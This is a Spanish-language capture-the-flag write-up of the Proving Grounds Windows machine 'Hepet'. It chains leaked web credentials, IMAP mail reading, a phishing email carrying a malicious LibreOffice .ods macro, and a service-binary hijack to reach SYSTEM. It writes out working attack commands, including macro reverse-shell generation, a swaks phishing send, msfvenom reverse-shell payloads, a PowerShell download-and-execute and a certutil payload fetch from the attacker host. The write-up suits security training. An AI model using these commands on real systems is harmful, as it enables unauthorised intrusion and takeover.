the_open_door
café
ESEN

Hepet

Proving Grounds PracticeMediaWindows192.168.158.140

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#mercury-mail#imap#phishing#libreoffice-macro#ods-macro#insecure-service-permissions#service-hijack#information-disclosure#windows#oscp
TL;DR. La web "Time Travel" filtra las credenciales de jonas en su ficha de equipo. Con ellas entramos por IMAP (Mercury/32) y leemos un correo que describe un flujo de phishing: un administrador de correo abre lo que recibe. Enviamos un .ods con una macro maliciosa (RCE por macro de LibreOffice) y, al abrirlo la víctima, ganamos shell como ela arwel. Para escalar, el servicio veyon-service.exe tiene permisos débiles: reemplazamos el binario y al reiniciar corre como SYSTEM (permisos de servicio inseguros).

Reconocimiento

Escaneo inicial

TTL 125 → Windows: Windows inicia el TTL en 128 y cada salto de routing lo decrementa, así que 125 = 128−3; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios. La superficie es enorme, dominada por la suite de correo Mercury/32 (SMTP, finger, POP3, IMAP) y un par de servidores web.

ping -c 1 192.168.158.140
sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.158.140
PORT      STATE SERVICE
25/tcp    open  smtp
79/tcp    open  finger
110/tcp   open  pop3
143/tcp   open  imap
443/tcp   open  ssl/http
2224/tcp  open  http
8000/tcp  open  http
11100/tcp open  vnc
20001/tcp open  ftp
33006/tcp open  mysql
nmap -p25,79,110,143,443,445,2224,8000,11100,20001,33006 -sCV 192.168.158.140 -oN targetedScan
PORT      STATE SERVICE   VERSION
25/tcp    open  smtp      Mercury/32 smtpd
79/tcp    open  finger    Mercury/32 fingerd
110/tcp   open  pop3      Mercury/32 pop3d
143/tcp   open  imap      Mercury/32 imapd 4.62
443/tcp   open  ssl/http  Apache httpd 2.4.46 (PHP/7.3.23) -- Time Travel Company Page
2224/tcp  open  http      Mercury/32 httpd
8000/tcp  open  http      Apache httpd 2.4.46 (PHP/7.3.23) -- Time Travel Company Page
11100/tcp open  vnc       VNC (protocol 3.8)
20001/tcp open  ftp       FileZilla ftpd 0.9.41 beta (anon)
33006/tcp open  mysql     MariaDB 10.3.24 or later

HTTP - TCP 443/8000: credenciales en la web

La página "Time Travel" muestra fichas del equipo. La de Jonas K. trae un texto que parece una contraseña:

La ficha de Jonas K. en la web expone SicMundusCreatusEst

Anotamos jonas / SicMundusCreatusEst. En un host con toda una suite de correo, un usuario y su contraseña gritan "prueba el IMAP".

Explotación

IMAP - TCP 143: leer el correo de jonas

Nos autenticamos por IMAP en texto plano; el login con jonas funciona y el buzón tiene 5 correos:

telnet 192.168.158.140 143
a1 LOGIN jonas SicMundusCreatusEst
a1 list "" *
a1 select INBOX

IMAP de Mercury/32 v4.62: login de jonas correcto y SELECT INBOX con 5 EXISTS

Trying 192.168.158.140 ...
Connected to 192.168.158.140.
Escape character is '^]'.
* OK localhost IMAP4rev1 Mercury/32 v4.62 server ready.
a1 LOGIN jonas SicMundusCreatusEst
a1 OK LOGIN completed.
a1 list "" *
* LIST (\NoInferiors) "/" INBOX
a1 OK LIST completed.
a1 select INBOX
* 5 EXISTS
* 0 RECENT
* FLAGS (\Deleted \Draft \Seen \Answered)
* OK [UIDVALIDITY 1771148601] UID Validity
* OK [UIDNEXT 6] Predicted next UID
* OK [PERMANENTFLAGS (\Deleted \Draft \Seen \Answered)] Settable message flags
a1 OK [READ-WRITE] SELECT completed.

Leemos el cuerpo del segundo mensaje:

a1 fetch 2 body[text]

Correo: "changing our office suite to LibreOffice... all the spreadsheets and documents will be first procesed in the mail server directly to check the compatibility"

Team,
We will be changing our office suite to LibreOffice. For the moment, all the spreadsheets
and documents will be first procesed in the mail server directly to check the compatibility.
I will forward all the documents after checking everything is working okay.

Ese correo describe el escenario perfecto para un phishing: la empresa se pasa a LibreOffice y los documentos que llegan al servidor de correo se procesan (abren) automáticamente para comprobar la compatibilidad. Si mandamos una hoja de cálculo con una macro, se ejecutará. La cabecera del mensaje revela el remitente/procesador, mailadmin@localhost, que será nuestro destinatario:

a1 fetch 2 body[header]

Cabecera del correo: From "mailadmin@localhost", To agnes, Cc jonas y magnus, Subject Important

a1 fetch 2 body[header]
* 2 FETCH (BODY[header] {739}
Received: from spooler by localhost (Mercury/32 v4.62); 19 Oct 2020 12:28:41 -0700
X-Envelope-To: <jonas@localhost>
Return-path: <mailadmin@localhost>
Received: from kali (192.168.118.8) by localhost (Mercury/32 v4.62) with ESMTP ID MG000001;
   19 Oct 2020 12:28:40 -0700
Message-ID: <359094.447081105-sendEmail@kali>
From: "mailadmin@localhost" <mailadmin@localhost>
To: "agnes@localhost" <agnes@localhost>
Cc: "jonas@localhost" <jonas@localhost>, "magnus@localhost" <magnus@localhost>
Subject: Important
Date: Mon, 19 Oct 2020 19:28:39 +0000
X-Mailer: sendEmail-1.56
MIME-Version: 1.0

RCE por macro ODS enviada por correo

Generamos un .ods (hoja de cálculo de LibreOffice) con una macro que lanza una reverse shell al 8000 (RCE por macro de LibreOffice) usando MMG-LO:

git clone https://github.com/0bfxgh0st/MMG-LO/
cd MMG-LO
python3 mmg-ods.py windows 192.168.45.238 8000

MMG-LO: python3 mmg-ods.py windows 192.168.45.238 8000 crea el .ods malicioso ("Creating malicious .ods file, Done")

$ ls
README.md  mmg-odb.py  mmg-odg.py  mmg-odp.py  mmg-ods.py  mmg-odt.py

$ python3 mmg-ods.py windows 192.168.45.238 8000
[+] Payload: windows reverse shell
[+] Creating malicious .ods file

Done.

Y lo enviamos con swaks desde jonas a mailadmin, imitando un correo legítimo:

swaks envía el .ods con la macro maliciosa (MMG-LO) de jonas a mailadmin por SMTP

swaks -t mailadmin@localhost --from jonas@localhost --attach @file.ods \
  --server 192.168.158.140 --body "Please check this spreadsheet" \
  --header "Subject: Please check this spreadsheet"

Cuando el servidor procesa la hoja, LibreOffice ejecuta la macro. Con Penelope a la escucha en el 8000, recibimos shell como hepet\ela arwel (el prompt en C:\Program Files\LibreOffice\program confirma que fue LibreOffice quien la abrió):

penelope
# (Penelope)> listeners add -p 8000

Penelope recibe la reverse shell desde HEPET; whoami devuelve hepet\ela arwel en C:\Program Files\LibreOffice\program

[+] Got reverse shell from HEPET~192.168.158.140-Microsoft_Windows_10_Pro-x64-based_PC  Assigned SessionID <1>
PS C:\Program Files\LibreOffice\program> whoami
hepet\ela arwel

Local

type C:\Users\"Ela Arwel"\Desktop\local.txt; whoami; ipconfig; hostname

local.txt leída como el usuario ela arwel en hepet

b78cb362f409abcceaae35ef4607093a
hepet\ela arwel

Escalada de privilegios

Permisos inseguros sobre veyon-service.exe

Descargamos PowerUp.ps1 (repo) y lo servimos por HTTP:

wget https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/refs/heads/master/Privesc/PowerUp.ps1
python3 -m http.server 80

wget descarga PowerUp.ps1 de PowerSploit y http.server lo sirve

$ ls
MMG-LO   PowerUp.ps1

$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

El ls confirma que el fichero ha bajado (junto al MMG-LO que clonamos antes) y el servidor queda escuchando en el 80, que es de donde la víctima lo va a leer.

Lo cargamos en memoria y lanzamos Invoke-AllChecks, que marca el servicio VeyonService: su binario C:\Users\Ela Arwel\Veyon\veyon-service.exe es modificable por HEPET\Ela Arwel y arranca como LocalSystem (CanRestart: False, un dato que importará luego):

IEX(New-object Net.WebClient).downloadString('http://192.168.45.238/PowerUp.ps1')
Invoke-AllChecks

Invoke-AllChecks marca VeyonService: ModifiablePath veyon-service.exe por HEPET\Ela Arwel, StartName LocalSystem, CanRestart False

ServiceName    : VeyonService
Path           : C:\Users\Ela Arwel\Veyon\veyon-service.exe
ModifiablePath : @{ModifiablePath=C:\Users\Ela Arwel\Veyon\veyon-service.exe; IdentityReference=HEPET\Ela Arwel;
                 Permissions=System.Object}
StartName      : LocalSystem
AbuseFunction  : Write-ServiceBinary -Name 'VeyonService' -Path <HijackPath>
CanRestart     : False
Name           : VeyonService
Check          : Unquoted Service Paths

ServiceName    : edgeupdate
Path           : "C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /svc
ModifiableFile : C:\
StartName      : LocalSystem
AbuseFunction  : Install-ServiceBinary -Name 'edgeupdate'
CanRestart     : False
Check          : Modifiable Service Files

Lo confirmamos con icacls sobre el binario, y de paso miramos privilegios y sistema:

icacls veyon-service.exe
whoami /priv
systeminfo
veyon-service.exe  NT AUTHORITY\SYSTEM:(I)(F)
                   BUILTIN\Administrators:(I)(F)
                   HEPET\Ela Arwel:(I)(F)

Nuestro usuario, HEPET\Ela Arwel, tiene control total (F) sobre el binario del servicio. Podemos sustituirlo por un payload que se ejecutará con la cuenta del servicio (SYSTEM) (permisos de servicio inseguros). Además, whoami /priv muestra SeShutdownPrivilege Disabled:

icacls: Ela Arwel tiene F sobre veyon-service.exe; whoami /priv con SeShutdownPrivilege Disabled; systeminfo Windows 10 Pro build 19042

Generamos el binario malicioso con msfvenom (reverse al 1234):

msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.238 LPORT=1234 -f exe > veyon-service.exe

msfvenom genera el veyon-service.exe malicioso (payload de 460 bytes)

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of exe file: 7680 bytes

$ ls
MMG-LO  PowerUp.ps1  veyon-service.exe

Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Levantamos el nc que recibirá la conexión, hacemos copia del binario original y lo reemplazamos por el nuestro con certutil:

rlwrap nc -nlvp 1234
move veyon-service.exe veyon-service.exe.bak
certutil.exe -f -urlcache -split http://192.168.45.238/veyon-service.exe veyon-service.exe

move guarda el binario original como .bak y certutil descarga el veyon-service.exe malicioso en su lugar

PS C:\Users\Ela Arwel\Veyon> move veyon-service.exe veyon-service.exe.bak
PS C:\Users\Ela Arwel\Veyon> certutil.exe -f -urlcache -split http://192.168.45.238/veyon-service.exe veyon-service.exe
****  Online  ****
  0000  ...
  1e00
CertUtil: -URLCache command completed successfully.

Como SeShutdownPrivilege estaba Disabled y no podíamos reiniciar el servicio a mano (CanRestart: False), forzamos un reinicio de toda la máquina; al arrancar, el servicio ejecuta nuestro binario como SYSTEM:

shutdown /r /t 0

shutdown /r mata la sesión de Ela Arwel; al rearrancar, el nc del 1234 recibe una shell cuyo whoami es nt authority\system

# rlwrap -cAr nc -nlvp 1234
connect to [192.168.45.238] from (UNKNOWN) [192.168.158.140] 49668
Microsoft Windows [Version 10.0.19042.1348]
C:\WINDOWS\system32>whoami
nt authority\system

Proof

type C:\Users\Administrator\Desktop\proof.txt; whoami; ipconfig; hostname

proof.txt leída como nt authority/system

d92005e6ebfbe823576f5dd0f871a92d
nt authority\system

Cadena de ataque

Web Time Travel (443/8000)  --  ficha de Jonas -> jonas : SicMundusCreatusEst
IMAP 143 (Mercury/32)  --  leer correo -> mailadmin abre adjuntos (phishing)
        │  macro ODS (MMG-LO) enviada por swaks a mailadmin
        ▼
hepet\ela arwel  (local.txt)
        │  veyon-service.exe con permisos F para Ela Arwel -> reemplazar binario
        │  shutdown /r -> el servicio arranca el payload como SYSTEM
        ▼
nt authority\system  (proof.txt)

Lecciones aprendidas

  • Las webs corporativas filtran credenciales. Una ficha de equipo con la contraseña de jonas fue todo el acceso inicial que necesitamos.
  • El phishing también entra en un examen. Cuando una máquina simula un usuario que abre adjuntos, una macro de LibreOffice/Office es RCE. Deshabilitar macros y no abrir adjuntos no solicitados corta el vector.
  • icacls sobre los binarios de servicio es clave. Si un usuario tiene escritura sobre el .exe de un servicio que corre como SYSTEM, controla ese SYSTEM. Los binarios de servicio deben ser solo-escritura para administradores.
  • Sin permiso para reiniciar el servicio, reinicia la máquina. Si el arranque del servicio dispara el binario reemplazado, un shutdown /r logra el mismo efecto.
Cheatsheet de comandos 10 comandos

Repaso rápido